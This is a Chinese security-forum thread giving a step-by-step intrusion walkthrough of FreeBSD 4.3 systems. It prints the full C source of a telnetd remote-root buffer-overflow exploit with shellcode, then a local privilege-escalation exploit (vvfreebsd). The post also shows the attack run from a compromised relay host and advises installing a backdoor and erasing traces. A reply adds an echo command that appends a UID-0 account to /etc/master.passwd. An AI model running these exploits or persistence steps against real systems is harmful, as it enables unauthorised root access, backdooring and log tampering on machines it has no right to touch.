论坛: 菜鸟乐园 标题: FREE BSD 入侵(原创) 复制本贴地址    
作者: syshunter [syshunter]    版主   登录
FREE BSD 入侵

 前段时间FREE BSD出了个TELNET缓冲区溢出漏洞,为了赶时髦,咱也来学学怎么利用这个漏洞

为了代码编译方便,你首先得有台LINUX的机器或肉鸡,这里我们假设有台肉鸡名为1.1.1.1

TELNET 1.1.1.1
LOGIN:ADMIN
PASSWD:
$cat >bsdtel.c  (编译BSD的TELNET溢出攻击代码)
#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


/* global variables, uhhohh!
 */
int     mode = 16;
int     num = 245;
int     pop = 31500;    /* puts code at 0x08fdff0a */
int     bs = 1;         /* buffer start */

int     num34 = 244;
int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
int     bs34 = 0;

int     walk;           /* populator walker */
int     force = 0;      /* force exploitation */
int     checkonly = 0;  /* check telnetd only */


void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
        int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
        dest |= val << (8 - bw - len);          /* set value bits */ \
        bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);


/* x86/bsd PIC portshell shellcode
 * by lorian/teso
 * port 0x4444 (might want to change it here)
 */
unsigned char   x86_bsd_portshell[] =
        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
                                /* ^^  ^^ port */
        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
        "\x80";

/* x86/bsd PIC execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_execvesh[] =
        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
 * by lorian/teso
 */
unsigned char   x86_bsd_compaexec[] =
    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";


unsigned char * shellcode = x86_bsd_compaexec;


#define COL 55


void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
                "-c\tcheck exploitability only, do not exploit\n"
                "-f\tforce mode, override check results\n\n");
        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
                        "take that, or it will take very long for it (> 1h). beware.\n\n");

        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
                        "\tNetBSD 1.5\n"
                        "\tBSDI BSD/OS 4.1\n\n");

        exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;
        char *                  dest;
        int                     i, j, fd,
                                dots = 0;
        int                     popc;
        struct timeval          start,
                                cur;
        unsigned long long int  g_pct,  /* gaussian percentage */
                                g_all;  /* gaussian overall */


        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                "by zip, lorian, smiler and scut.\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                switch (c) {
                case 'n':
                        num = atoi (optarg);
                        break;
                case 'c':
                        checkonly = 1;
                        break;
                case 'f':
                        force = 1;
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        dest = argv[argc - 1];
        if (dest[0] == '-')
                usage (progname);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect\n");
                exit (EXIT_FAILURE);
        }

        random_init ();

        if (xp_check (fd) == 0 && force == 0) {
                printf ("aborting\n");
#ifndef DEBUG
                exit (EXIT_FAILURE);
#endif
        }
        close (fd);

        if (checkonly)
                exit (EXIT_SUCCESS);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect the second time\n");
                exit (EXIT_FAILURE);
        }

        printf ("\n#############################################################################\n\n");
        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
                "telnet daemon process, it will spill badly. but then, there is no\n"
                "other way, sorry...\n\n", mode);

#ifdef DEBUG
        getchar ();
#endif
        printf ("## setting populators to populate heap address space\n");

        g_all = ((unsigned long long int)(pop / 2)) *
                        ((unsigned long long int)(pop + 1));
        g_pct = 0;

        printf ("## number of setenvs (dots / network): %d\n", pop);
        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
        printf ("##\n");
        printf ("## the percentage is more realistic than the dots ;)\n");
        printf ("\n");
        printf ("percent |");

        popc = pop / COL;
        for (i = pop / popc ; i >= 0 ; --i)
                printf ("-");
        printf ("|      ETA |\n");

        gettimeofday (&start, NULL);

        for (walk = 0 ; walk < pop ; ++walk) {
                xp_pop (fd);

                g_pct += walk;

                if (walk % popc == 0)
                        dots += 1;

                if (walk % 200 == 0) {
                        int                     pct;
                        float                   pct_f;
                        unsigned long int       diff;

                        pct = (int) ((g_pct * 100) / g_all);
                        pct_f = g_pct * 100;
                        pct_f /= (float) g_all;

                        /* calculate difference not caring about accuracy */
                        gettimeofday (&cur, NULL);
                        diff = cur.tv_sec - start.tv_sec;

                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
                        for (j = 0 ; j < dots ; ++j)
                                printf (".");
                        for ( ; j <= COL ; ++j)
                                printf (" ");

                        if (pct != 0) {
                                diff = (int) ((((float)(100 - pct_f)) /
                                        (float) pct_f) * diff);
                                printf ("| %02lu:%02lu:%02lu |",
                                        diff / 3600, (diff % 3600) / 60,
                                        diff % 60);
                        } else {
                                printf ("| --:--:-- |");
                        }

                        fflush (stdout);
                }
        }
        printf ("\n\n");

        printf ("## sleeping for 10 seconds to let the process recover\n");
        sleep (10);

#ifdef DEBUG
        getchar ();
#endif
        /* return into 0x08feff0a */
        xp (fd);
        sleep (1);

        printf ("## ok, you should now have a root shell\n");
        printf ("## as always, after hard times, there is a reward...\n");
        printf ("\n\ncommand: ");
        fflush (stdout);

        shell (fd);

        exit (EXIT_SUCCESS);
}


void
xp (int fd)
{
        int             n;
        unsigned char   buf[2048];


        /* basic overflow */
        for (n = bs ; n < sizeof (buf) ; ++n)
                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

        /* some nifty alignment */
        buf[0] = '\xff';        /* IAC */
        buf[1] = '\xf5';        /* AO  */

        if (mode == 16) {
                buf[2] = '\xff';        /* IAC */
                buf[3] = '\xfb';        /* WILL */
                buf[4] = '\x26';        /* ENCRYPTION */
        }

        /* force 0x08feff0a as return */
        buf[num++] = '\xff';
        buf[num++] = '\xfb';
        buf[num++] = '\x08';

        /* and the output_encrypt overwrite action, yay! */
        buf[num++] = '\xff';
        buf[num++] = '\xf6';

        /* XXX: should not fail here, though we should better loop and check */
        n = send (fd, buf, num, 0);
        if (n != num) {
                perror ("xp:send");
        }
}


#ifdef INSANE_MIND

void
xp_shrinkwin (int fd)
{
        int             n;
        int             iobc;
        int             p = 0;
        unsigned char   buf[2048];
        char            c;
        int             val;
        int             len;

        for (n = 0 ; n < sizeof (buf) ; ++n)
                buf[n] = n % 2 ? '\xf6' : '\xff';

        len = sizeof (val);
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);
        val = 1;
        printf ("setsockopt: %s\n",
                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
                "FAILED" : "SUCCESS");
        val = 1234;
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);

        getchar();
        while (1) {
                if (p > 105)
                        c = getchar();
                if (c == 'r') {
                        getchar();
                        read (fd, &buf[1024], 384);
                } else if (c == 'o') {
                        getchar();
                        send (fd, "7", 1, MSG_OOB);
                } else if (c != 'r') {
                        usleep(100000);
                        n = send (fd, buf, 112, 0);
                        ioctl (fd, FIONREAD, &iobc);
                        len = sizeof (val);
                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
                                ++p, n, iobc, val, val - iobc);
                }
        }
}
#endif


/* xp_pop - populator function
 *
 * causes remote telnet daemon to setenv() variables with our content, populating
 * the heap with shellcode. this will get us more nopspace and place our shellcode
 * where the nice addresses are, that we can create by writing telnet option
 * strings.
 *
 * XXX: there seems to be a maximum size for the environment value you can set,
 *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
 *      should work, rather similar to tsig tcp/malloc exploitation. -sc
 */

void
xp_pop (int fd)
{
        unsigned char   var[16];
        unsigned char   storebuf[496];
        sprintf (var, "%06x", walk);
#ifdef DEBUG
        memset (storebuf, '\xcc', sizeof (storebuf));
#else
/*      memset (storebuf, '\x90', sizeof (storebuf));   */
        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
                shellcode, strlen (shellcode));
#endif
        storebuf[sizeof (storebuf) - 1] = '\0';

        xp_setenv (fd, var, storebuf);
}


void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
        int             n = 0;
        unsigned char   buf[2048];

        buf[n++] = IAC;
        buf[n++] = SB;
        buf[n++] = TELOPT_NEW_ENVIRON;
        buf[n++] = TELQUAL_IS;
        buf[n++] = ENV_USERVAR;

        /* should not contain < 0x04 */
        while (*var) {
                if (*var == IAC)
                        buf[n++] = *var;
                buf[n++] = *var++;
        }
        buf[n++] = NEW_ENV_VALUE;
        while (*val) {
                if (*val == IAC)
                        buf[n++] = *val;
                buf[n++] = *val++;
        }
        buf[n++] = IAC;
        buf[n++] = SE;

        if (send (fd, buf, n, 0) != n) {
                perror ("xp_setenv:send");
                exit (EXIT_FAILURE);
        }
}


int
xp_check (int fd)
{
        int             n;
        unsigned int    expect_len = 15;
        unsigned char   expected[] =
                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
        unsigned int    additional_len = 8;
        unsigned char   additional[] =
                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
                /*IAC SB  ENC ........... IAC SE */

        unsigned char   buf[128];

        read (fd, buf, sizeof (buf));

        n = 0;
        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = AYT;                 /* 0xf6 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_NAOL;         /* 0x08 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */

#ifdef DEBUG
        hexdump ("check send buffer", buf, n);
#endif
        if (send (fd, buf, n, 0) != n) {
                perror ("xp_check:send");
                exit (EXIT_FAILURE);
        }

        n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
        hexdump ("check recv buffer", buf, n);
#endif

        if (memcmp (buf, expected, expect_len) == 0) {
                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
                        mode = 16;
                } else {
                        mode = 34;
                        bs = bs34;
                }
                printf ("check: PASSED, using %dmb mode\n", mode);

                return (1);
        }

        printf ("check: FAILED\n");

        return (0);
}


void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !\"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */\n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "\n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "\n");

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


/* imported from shellkit */

unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
        unsigned long int       val;

        if (low > high) {
                low ^= high;
                high ^= low;
                low ^= high;
        }

        val = (unsigned long int) random ();
        val %= (high - low);
        val += low;

        return (val);
}


void
random_init (void)
{
        srandom (time (NULL));
}


int
bad (unsigned char u)
{
        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
                return (1);

        return (0);
}

int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
        int     n;

        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
                for (n = 0 ; n < bad_len ; ++n)
                        if (code[code_len] == bad[n])
                                return (1);
        }

        return (0);
}

unsigned long int
x86_nop_rwreg (void)
{
        unsigned long int       reg;

        do {
                reg = random_get (0, 7);
        } while (reg == 4);     /* 4 = $esp */

        return (reg);
}



unsigned long int
x86_nop_xfer (char *xferstr)
{
        int                     bw = 0; /* bitfield walker */
        unsigned char           tgt;    /* resulting instruction */

        /* in a valid xferstr we trust */
        for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
                switch (xferstr[0]) {
                case ('0'):
                        BSET (tgt, 1, 0, bw);
                        break;
                case ('1'):
                        BSET (tgt, 1, 1, bw);
                        break;
                case ('r'):
                        BSET (tgt, 3, x86_nop_rwreg (), bw);
                        break;
                case ('.'):
                        break;  /* ignore */
                default:
                        fprintf (stderr, "on steroids, huh?\n");
                        exit (EXIT_FAILURE);
                        break;
                }
        }

        if (bw != 8) {
                fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
                exit (EXIT_FAILURE);
        }

        return (tgt);
}


unsigned int
x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len)
{
        int     walk;
        int     bcount; /* bad counter */
        char *  xs;
        char *  xferstr[] = {
                "0011.0111",    /* aaa */
                "0011.1111",    /* aas */
                "1001.1000",    /* cbw */
                "1001.1001",    /* cdq */
                "1111.1000",    /* clc */
                "1111.1100",    /* cld */
                "1111.0101",    /* cmc */
                "0010.0111",    /* daa */
                "0010.1111",    /* das */
                "0100.1r",      /* dec <reg> */
                "0100.0r",      /* inc <reg> */
                "1001.1111",    /* lahf */
                "1001.0000",    /* nop */
                "1111.1001",    /* stc */
                "1111.1101",    /* std */
                "1001.0r",      /* xchg al, <reg> */
                NULL,
        };
        unsigned char   tgt;


        for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
                /* avoid endless loops on excessive badlisting */
                for (bcount = 0 ; bcount < 16384 ; ++bcount) {
                        xs = xferstr[random_get (0, 15)];
                        tgt = x86_nop_xfer (xs);

                        dest[walk] = tgt;
                        if (badstr (&dest[walk], 1, bad, bad_len) == 0)
                                break;
                }

                /* should not happen */
                if (bcount >= 16384) {
                        fprintf (stderr, "too much blacklisting, giving up...\n");
                        exit (EXIT_FAILURE);
                }
        }

        return (walk);
}
CTRL+D
$gcc -o bsdtelnet bsdtel.c     (编译此代码为bsdtelnet)
我们的攻击目标假定为2.2.2.2,一台运行着FREEBSD 4.3的机器
$./bsdtelnet 2.2.2.2
------ 

(在发送了16M数据后)

command:whoami   (或者ID)
root                     (好了我们已经成功拿到了ROOT权限)

但这里有个问题,就是我们还没有BASH,OK,那就让我们来添加个帐号吧:D

/sbin/adduser syshunter

passwd syshunter

接着我们用syshunter帐号登陆
syshunter$

可以打个who看看管理员在不在线:),现在我们有个问题,那就是权限又没有了,怎么办呢?

让我们来试下FreeBSD 4.3 设计漏洞的相关文章
  http://www.20cn.net/ns/ld/unix/data/20010711232023.htm  

按照文章所说

syshunter$cd /tmp  (没了这个TMP,可没办法溢出咯:))
tmp$cat >.vvfreebsd.c
#include <stdio.h> 
#include <signal.h> 
#include <unistd.h> 
int vv1; 


#define MYSIG SIGINT 



//exec "/tmp/sh", shellcode gotten from the internet and modified 
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80" 
"\x31\xc0\x50\x50\xb0\x17\xcd\x80" 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" 
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" 
"\xb0\x3b\x50\xcd\x80\x90\x90\x90"; 


typedef (*PROG)(); 
extern char **environ; 


int main(int ac,char **av) 

int pid; 
//(*(PROG)bsdshell)(); 
if(!(vv1=getenv("vv"))) 

setenv("vv",bsdshell,1); 
if(!execle(av[0],"vv",NULL,environ)) 

perror("weird exec"); 
exit(1); 




printf("vvfreebsd. Written by Georgi Guninski\n"); 
printf("shall jump to %x\n",vv1); 


if(!(pid=rfork(RFPROC|RFSIGSHARE))) 

printf("child=%d\n",getpid()); 
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell 
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) 
if(!execl("/usr/bin/login","login",0)) 

perror("exec setuid failed"); 
exit(2); 
}; 

sleep(2); 
signal(MYSIG,(sig_t)vv1); 
sleep(2); 
kill(pid,MYSIG); 
printf("done\n"); 
while(42); 

CTRL+D
tmp$gcc -o .test vvfreebsd.c
tmp$cp /bin/sh /tmp  (CP个sh到tmp目录,这个就不用解释了:))
tmp$./.test          (执行)
shall jump to bfbffe71 
child=61056
login:
login: # done
#        (ID看看:D)
OK,到此为止我们已经成功拿到ROOT,省下的就看你的了:D,
放后门Curious Yellow(可去安全焦点下载),擦PP,88!

以上是本人从一个SCRIPTS KID的角度来入侵一个UNIX系统,文章本身并没有什么值得学习的地方,
总之还是希望大家把技术学好,不要沉迷于这些工具与代码的利用上


[此贴被 §溶(syshunter) 在 3月20日20时38分 编辑过]

地主 发表时间: 3/20 20:40

回复: jpcc [jpcc]   论坛用户   登录
FREE BSD
本论坛用的不正是这个吗?
说这么复杂的看不懂呀!!
也太长了。。。
以后你发些简短的吗? 实用最重要!

B1层 发表时间: 03/22 04:53

回复: TomyChen [tomychen]   论坛用户   登录
哈哈,好久的代码啊

B2层 发表时间: 03/22 14:09

回复: syshunter [syshunter]   版主   登录
啊~``,对不起各位,SORRY!!!,犯了大错误,那个那个,我忘了echo 
也可以添加帐号的,而且可以添加任意权限帐号。呵呵

要不是大刀队提醒我还没反应过来:D
echo "username::::::::(到底是几个:大家对照master.passwd看看,在相应地方设置UID和GID为0)">>/etc/master.passwd

[此贴被 §溶(syshunter) 在 3月22日15时37分 编辑过]

B3层 发表时间: 3/22 15:27

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号